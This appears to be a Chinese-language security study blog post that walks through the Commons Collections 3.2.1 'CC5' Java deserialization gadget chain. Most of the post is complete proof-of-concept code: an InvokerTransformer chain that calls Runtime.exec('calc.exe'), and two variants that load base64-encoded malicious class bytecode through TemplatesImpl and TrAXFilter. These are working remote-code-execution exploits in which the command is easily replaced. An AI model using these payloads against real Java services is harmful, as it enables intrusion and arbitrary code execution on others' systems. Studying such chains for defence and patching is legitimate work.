前言
在前面我们CC6链的学习中,由于jdk 8u71以后的版本修改了AnnotationInvocationHandler类中的readObject方法,我们无法通过CC1链调用LazyMap.get(),所以我们找到了org.apache.commons.collections.keyvalue.TiedMapEntry类,它的getValue方法可以调用map.get方法:

同时在该类中存在hashCode()方法能调用getValue()方法,这让我们自然而然想到HashMap类作为入口
而在CC5中,我们将学习通过TiedMapEntry类的另一个方法toString来调用LazyMap.get()方法。
环境搭建
- jdk 8u71
- Commons Collection 3.2.1
CC5分析
观察ysoserial给的链子:

可以看到这里调用LazyMap.get()是TieMapEntry.toString()方法:

写的有点问题,这里toString()会通过执行getValue方法从而调用LazyMap.get()方法。
接着我们需要找到一个类能调用TiedMapEntry.toString()方法,而在ysoserial中给了我们一个全新的类BadAttributeValueExpException类作为我们的反序列化入口:

但有个问题,就是BadAttributeValueExpException并没有实现Serializable接口,为什么能作为入口呢?
其实是因为他继承自Exception类:

而Exception类又继承自Throwable类:

Throwable类实现了Serializable接口,所以BadAttributeValueExpException类自然就实现了Serializable接口。
接着我们看BadAttributeValueExpException类的readObject方法:

可以看到,当System.getSecurityManager() == null,即系统未启用安全管理器或者val0bj为一下基本类型的包装类时:
1
| Long, Integer, Float, Double, Byte, Short, Boolean
|
就会执行val0bj.toString()方法,但我们需要调用的是TiedMapEntry.toString()方法,即val0bj需要是TiedMapEntry类型,所以只能看能否满足第一个条件:

而恰好是满足的,所以只需要传入val0bj为TiedMapEntry即可

而val0bj是通过获取val的值,所以只需将val赋值为TiedMapEnter即可

BadAttributeValueExpException构造函数会将val.toString()赋值给this.val,如果我直接将TiedMapEntry直接传入的话就会执行TiedMapEntry.toString()了,这就还没到反序列化就将我们的链子走了一遍了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chained = new ChainedTransformer(transformers);
Map map=LazyMap.decorate(new HashMap(),chained); TiedMapEntry tie=new TiedMapEntry(map, chained); BadAttributeValueExpException bad=new BadAttributeValueExpException(tie); } }
|

这样肯定是不行的,所以我们先传入null,然后再通过反射来修改val:
1 2 3
| Field filed=bad.getClass().getDeclaredField("val"); filed.setAccessible(true); filed.set(bad,tie);
|
完整poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chained = new ChainedTransformer(transformers);
Map map=LazyMap.decorate(new HashMap(),chained); TiedMapEntry tie=new TiedMapEntry(map, chained); BadAttributeValueExpException bad=new BadAttributeValueExpException(null);
Field filed=bad.getClass().getDeclaredField("val"); filed.setAccessible(true); filed.set(bad,tie);
serialize(bad); unserialize(); } public static void serialize(Object obj) throws Exception{ FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream oos = new ObjectOutputStream(out); oos.writeObject(obj); } public static Object unserialize() throws Exception{ FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream ois = new ObjectInputStream(in); Object obj = ois.readObject(); return obj; } }
|
完整利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13
| ObjectInputStream -> readObject() BadAttributeValueExpException -> readObject() TiedMapEntry -> toString() TiedMapEntry -> getValue() LazyMap -> get() ChainedTransformer -> transform() ConstantTransformer -> transform() InvokerTransformer -> transform() Class.getMethod() InvokerTransformer -> transform() Runtime.getRuntime() InvokerTransformer -> transform() Runtime.exec()
|
配合TemplatesImpl加载字节码
直接用TemplatesImpl.newTransformer()方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.FactoryTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Impl), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chained = new ChainedTransformer(transformers);
Map map=LazyMap.decorate(new HashMap(),chained); TiedMapEntry tie=new TiedMapEntry(map, chained); BadAttributeValueExpException bad=new BadAttributeValueExpException(null);
setValue(bad,"val",tie);
serialize(bad); unserialize(); } public static void serialize(Object obj) throws Exception{ FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream oos = new ObjectOutputStream(out); oos.writeObject(obj); } public static Object unserialize() throws Exception{ FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream ois = new ObjectInputStream(in); Object obj = ois.readObject(); return obj; } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } }
|

利用TrAXFilter构造方法调用TemplatesImpl.newTransformer():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC5 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setValue(Impl,"_name","b1uel0n3"); setValue(Impl,"_class",null); setValue(Impl,"_bytecodes",new byte[][]{bytes}); setValue(Impl,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl}), }; ChainedTransformer chained = new ChainedTransformer(transformers);
Map map=LazyMap.decorate(new HashMap(),chained); TiedMapEntry tie=new TiedMapEntry(map, chained); BadAttributeValueExpException bad=new BadAttributeValueExpException(null);
setValue(bad,"val",tie);
serialize(bad); unserialize(); } public static void serialize(Object obj) throws Exception{ FileOutputStream out = new FileOutputStream("E:\\study\\web\\java\\test.ser"); ObjectOutputStream oos = new ObjectOutputStream(out); oos.writeObject(obj); } public static Object unserialize() throws Exception{ FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser"); ObjectInputStream ois = new ObjectInputStream(in); Object obj = ois.readObject(); return obj; } public static void setValue(Object obj, String filedname, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj,value); } }
|

参考
https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f
https://nivi4.notion.site/Java-CommonCollections5-f8fd6a9220de46b7954664bb97109d9f
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java